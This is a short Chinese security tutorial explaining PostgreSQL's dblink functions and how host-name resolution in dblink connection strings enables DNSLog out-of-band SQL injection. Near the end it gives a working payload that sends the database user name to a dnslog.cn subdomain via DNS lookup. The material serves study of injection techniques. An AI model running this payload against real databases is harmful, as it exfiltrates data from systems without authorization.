这个可以与MYSQL的DNSLog原理想相同,也可以就叫他DNSLog带外注入。所用到的函数有两个dblink() / dblink_connect()不过dblink()需要超级用户才能使用。
这几个函数都来源一个插件dblink,也就是说这几个函数都不是PG自带的而需要扩展安装
安装指令:create extension dblink
dblink_connect()
表示打开一个到数据库的持久连接,前面说dblink_connect()只有超级用户才能调用,而实际上有一个与之作用基本相同且不需要超级用户便能调用的一个函数---dblink_connect_u(),但不安全基本不会用。
dblink_connect('conname','connstr')
conname(可选):要用于这个连接的名字。如果被忽略,将打开一个未命名连接并且替换掉任何现有的未命名连接。
connstr(必选):数据库连接串信息,格式为:hostaddr=127.0.0.1 port=5432 dbname=mydb user=postgres password=mypasswd
由于是持久连接,因此需要一个阻断其连接的函数-----dblink_disconnect('conname')
conname参数还是可选的,因为可能出现未命名连接,所以当conname为空时,则阻断未命名的连接。
dblink()
与dblinke_connect()持久连接相对,dblink()是短暂的连接,即在一个远程数据库中执行一个查询。
dblink('conname','connstr','sql','fail_on_error')
conname:要使用的连接名。忽略这个参数也是用未命名连接。
connstr:如上面为dblink_connect所描述的一个连接信息字符串。
sql:你希望在远程数据库中执行的 SQL 查询,例如select password from users。
fail_on_error:如果为真(忽略时的默认值),那么在连接的远端抛出的一个错误也会导致本地抛出一 个错误。如果为假,远程错误只在本地被报告为一个 NOTICE,并且该函数不反回行。
因为connstr需要用到host,直接IP还没啥,如果是域名呢?当然是会被解析,解析域名?那不是又回到了DNSLog注入。
从DNSLog网站中get一个域名,写一条如下的指令
SELECT * FROM dblink('host='||(select user)||'.6niwhz.dnslog.cn user=vulhub password=vulhub dbname=vulhub', 'SELECT version()') RETURNS (result TEXT);
可以看到携带成功 ,这个玩意儿后面有个CVE的未授权洞就要用到这个带外。
参考:PostgreSQL dblink使用详解_foucus、的博客-CSDN博客_dblink postgre
|